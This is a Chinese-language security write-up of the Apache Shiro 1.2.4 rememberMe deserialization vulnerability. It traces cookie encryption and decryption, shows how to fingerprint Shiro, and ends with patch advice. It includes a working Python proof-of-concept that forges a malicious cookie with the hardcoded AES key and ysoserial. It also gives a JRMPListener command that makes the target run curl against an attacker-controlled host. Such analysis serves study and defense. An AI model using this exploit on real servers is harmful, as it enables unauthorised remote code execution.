## shiro介绍
shiro提供的rememberMe的功能,登入页面时勾选rememberMe的时候,会把cookie写到客户端保存,关闭浏览器再打开,访问网页时还是属于登入状态。
## 环境
```
git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4
```
导入shiro/samples/web的maven项目。
并修改pom.xml文件:
```
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
.....
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependencies>
```
## shiro过滤器
在使用shiro时,如果设置访问一般网页时,使用user拦截器,则user拦截器会判断用户是否登入,判断的标准:账号密码通过验证(isAuthenticated()==true)或者cookie中的rememberMe字段通过验证(isRemembered()==true)。所以触发rememberMe的条件是拦截器设置了允许通过rememberMe字段来验证用户身份!
如:当访问login网页时,
首先触发了org.apache.shiro.web.servlet中的doFilter方法,
继续跟踪,并在org.apache.shiro.mgt.DefaultSecurityManager#resolvePrincipals处下个断点,
该函数的作用获取身份认证信息和rememberMe实体,并返回一个上写文context。由于我们访问的页面没有登入,且cookie字段中的没有rememberMe。所以principals为null。
**注意点**:如果没有设置rememberMe身份验证,则不会触发漏洞
## shiro生成cookie的过程
当我们登入的时候,点击Remember Me框,则shiro会通过登入的用户信息生成cookie并发送到客户端存储,下次再次访问时无需登入。
只有在登入成功后才会生成cookie,所以在org.apache.shiro.mgt.DefaultSecurityManager#login中下断点,
该函数的authenticate(token)会根据token判断是否登入成功,且此时rememberMe=true,首次认证登入后,会生成cookie。跟进onSuccessfulLogin函数,直到跟踪到org.apache.shiro.mgt.AbstractRememberMeManager的onSuccessfulLogin函数,
其中的forgetIdentity函数的作用是清除之前cookie中的rememberMe字段的值,跟踪forgetIdentity到removeForm,
首次登入该函数会设置rememberMe=deleteMe,且Max-Age=0,来删除此cookie
重新回到onSuccessfulLogin函数,因为 token中rememberMe=true,所以进入rememberIdentity函数,
继续跟踪
(注意这两个函数名都是 rememberIdentity,但是输入 参数不一样,所以是不同。)
注意 convertPrincipalsToBytes是关键,它将登入的用户序列化并AES加密后输出,
跟踪到encryt函数
生成一个cipherService对象 ,算法是AES,模式是CBC,补码方式是PKCS5Padding。getEncryptionCipherKey函数的返回正是shiro默认的AES key,
将 key代入encrypt函数
进入org.apache.shiro.crypto.JcaCipherService#encrypt,
使用generateInitializationVector初始化生成一个iv向量。继续encrtpy,
返回AES加密后的结果,最终返回值附值到org.apache.shiro.mgt.AbstractRememberMeManager#rememberIdentity方法中的bytes中。
进入org.apache.shiro.web.mgt.CookieRememberMeManager#rememberSerializedIdentity方法中,
该方法主要作用是对序列化的字节数组serialized进行base64编码,然后返回到cookie中。
至此,cookie生成过程结束,将cookie返回到客户端。
## shiro解密cookie过程
base64解码->AES解密->反序列化
首先重启浏览器,再登入网页,在org.apache.shiro.mgt.DefaultSecurityManager#resolvePrincipals中下断点
由于关闭浏览器后再登入网页后不再有身份认证信息,即principals=null。然后进入getRememberedIdentity函数,看cookie中是否有rememberMe信息,继续跟踪到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals,
继续跟踪到org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity,其作用是获得cookie中rememberMe字段的值,并base64解码,如下图所示:
获取到rememberMe的值,其中ensurePadding函数是验证base64编码后的值的合法性。然后调用Base64.decode解码成子节数组后返回。回到getRememberedPrincipals,进入convertBytesToPrincipals
继续跟踪到decrypt函数,与加密相反,对称key依然从org.apache.shiro.mgt.AbstractRememberMeManager中获取,
进入org.apache.shiro.crypto.JcaCipherService中的解码函数decrypt,
其中,我们已知iv向量的长度为16,则截取出base64解码后的的字节数组中的前16个字节作为iv向量,有了key和iv向量,即可获得AES解码后的结果。返回到org.apache.shiro.mgt.AbstractRememberMeManager#decrypt,获得序列化的值。如下:
最终回到PrincipalCollection org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals函数
调用反序列化函数deserialize。
看到了readObject(),没错,这就是触发shiro反序列化漏洞的地方。
回到org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals,
返回了最终结果,principals=root。到此,cookie认证成功。
## shiro指纹探测
传入一个rememberMe=1(即非正常的base64编码数据)
触发
org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals的解密异常,
然后会进入onRememberedPrincipalFailure函数
继续跟进forgetIdentity,最终到了熟悉的removeFrom函数
会向浏览器set-cookie,rememberMe=deleteMe,如下图:
因此可以证明该服务开启了shiro的rememberMe功能。
## poc
poc脚本:
```
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
```
1)生成cookie内容
2)利用ysoserial.jar(https://github.com/frohoff/ysoserial)包在vps上注册一个rmi服务,rmi目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。
```
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 'curl ip:port'//指定vps的ip和端口
```
3)在vps上另开一个窗口, 启动一个web服务。
4)结合之前生成的cookie内容,发送payload
最终,可以看到在服务端的反序列化函数执行后,会从vps端注册的rmi服务中读取命令,并执行。
同时在vps发现,服务端访问了vps的web服务,
说明服务端执行了curl命令。
## 相关补丁对比
对比了shiro-core-1.2.4与shiro-core-1.2.5的org.apache.shiro.mgt.AbstractRememberMeManager文件区别,发现1.2.5不再使用默认的硬编码AES的KEY,而是使用了generateNewKey()方法,该方法是继承于org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法
## 修复建议
升级 Shiro 版本至 1.2.5 以上